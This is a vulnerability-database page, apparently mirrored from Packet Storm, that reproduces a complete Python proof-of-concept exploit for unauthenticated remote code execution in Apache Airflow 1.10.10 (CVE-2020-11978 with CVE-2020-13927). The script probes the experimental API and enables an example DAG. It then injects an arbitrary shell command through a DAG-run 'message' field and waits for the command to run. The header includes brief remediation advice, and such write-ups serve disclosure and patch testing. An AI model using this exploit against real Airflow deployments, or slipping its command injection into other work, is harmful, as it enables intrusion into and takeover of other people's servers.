Lucene search
K

Apache Airflow 1.10.10 Remote Code Execution

🗓️ 02 Jun 2021 00:00:00Reported by Pepe BerbaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 343 Views

Apache Airflow 1.10.10 Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Apache Airflow 1.10.10 - (Example Dag) Remote Code Execution Exploit
2 Jun 202100:00
zdt
0day.today
Apache Airflow 1.10.10 Remote Code Execution Exploit
19 Sep 202300:00
zdt
Gitee
Exploit for OS Command Injection in Apache Airflow
6 Sep 202512:42
gitee
GithubExploit
Exploit for OS Command Injection in Apache Airflow
22 May 202115:58
githubexploit
ATTACKERKB
CVE-2020-13927
10 Nov 202000:00
attackerkb
ATTACKERKB
CVE-2020-11978
17 Jul 202000:00
attackerkb
Tenable Nessus
Apache Airflow < 1.10.11 Multiple Vulnerabilities
13 Jun 202200:00
nessus
Circl
CVE-2020-11978
3 Jun 202100:39
circl
Circl
CVE-2020-13927
10 Nov 202018:27
circl
CISA KEV Catalog
Apache Airflow Command Injection
18 Jan 202200:00
cisa_kev
Rows per page
`# Exploit Title: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution   
# Date: 2021-06-02  
# Exploit Author: Pepe Berba  
# Vendor Homepage: https://airflow.apache.org/  
# Software Link: https://airflow.apache.org/docs/apache-airflow/stable/installation.html  
# Version: <= 1.10.10  
# Tested on: Docker apache/airflow:1.10 .10 (https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)  
# CVE : CVE-2020-11978  
#   
# This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow  
# This combines with CVE-2020-13927 where unauthenticated requests to Airflow's Experimental API were allowded by default.  
# Together, potentially allows unauthenticated RCE to Airflow   
#   
# Repo: https://github.com/pberba/CVE-2020-11978  
# More information can be found here:   
# https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E  
# https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E  
#  
# Remediation:  
# For CVE-2020-13927 make sure that the config `[api]auth_backend = airflow.api.auth.backend.deny_all` or has auth set.  
# For CVE-2020-11978 use 1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG.  
#  
# Example usage: python CVE-2020-11978.py http://127.0.0.1:8080 "touch test"  
  
import argparse  
import requests  
import sys  
import time  
  
def create_dag(url, cmd):  
print('[+] Checking if Airflow Experimental REST API is accessible...')  
check = requests.get('{}/api/experimental/test'.format(url))  
  
if check.status_code == 200:  
print('[+] /api/experimental/test returned 200' )  
else:  
print('[!] /api/experimental/test returned {}'.format(check.status_code))  
print('[!] Airflow Experimental REST API not be accessible')  
sys.exit(1)  
  
check_task = requests.get('{}/api/experimental/dags/example_trigger_target_dag/tasks/bash_task'.format(url))  
if check_task.status_code != 200:  
print('[!] Failed to find the example_trigger_target_dag.bash_task')  
print('[!] Host isn\'t vunerable to CVE-2020-11978')  
sys.exit(1)  
elif 'dag_run' in check_task.json()['env']:  
print('[!] example_trigger_target_dag.bash_task is patched')  
print('[!] Host isn\'t vunerable to CVE-2020-11978')  
sys.exit(1)  
print('[+] example_trigger_target_dag.bash_task is vulnerable')  
  
unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url))  
if unpause.status_code != 200:  
print('[!] Unable to enable example_trigger_target_dag. Example dags were not loaded')  
sys.exit(1)  
else:  
print('[+] example_trigger_target_dag was enabled')  
  
print('[+] Creating new DAG...')  
res = requests.post(  
'{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url),  
json={  
'conf': {  
'message': '"; {} #'.format(cmd)  
}  
}  
)  
  
if res.status_code == 200:  
print('[+] Successfully created DAG')  
print('[+] "{}"'.format(res.json()['message']))  
else:  
print('[!] Failed to create DAG')  
sys.exit(1)  
  
wait_url = '{url}/api/experimental/dags/example_trigger_target_dag/dag_runs/{execution_date}/tasks/bash_task'.format(  
url = url,  
execution_date=res.json()['execution_date']  
)  
  
start_time = time.time()  
print('[.] Waiting for the scheduler to run the DAG... This might take a minute.')  
print('[.] If the bash task is never queued, then the scheduler might not be running.')  
while True:  
time.sleep(10)  
res = requests.get(wait_url)  
status = res.json()['state']  
if status == 'queued':  
print('[.] Bash task queued...')  
elif status == 'running':  
print('[+] Bash task running...')  
elif status == 'success':  
print('[+] Bash task successfully ran')  
break  
elif status == 'None':  
print('[-] Bash task is not yet queued...'.format(status))  
else:  
print('[!] Bash task was {}'.format(status))  
sys.exit(1)  
  
return 0  
  
  
def main():  
arg_parser = argparse.ArgumentParser()  
arg_parser.add_argument('url', type=str, help="Base URL for Airflow")  
arg_parser.add_argument('command', type=str)  
args = arg_parser.parse_args()  
  
create_dag(  
args.url,   
args.command  
)  
  
if __name__ == '__main__':  
main()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jun 2021 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.94272
343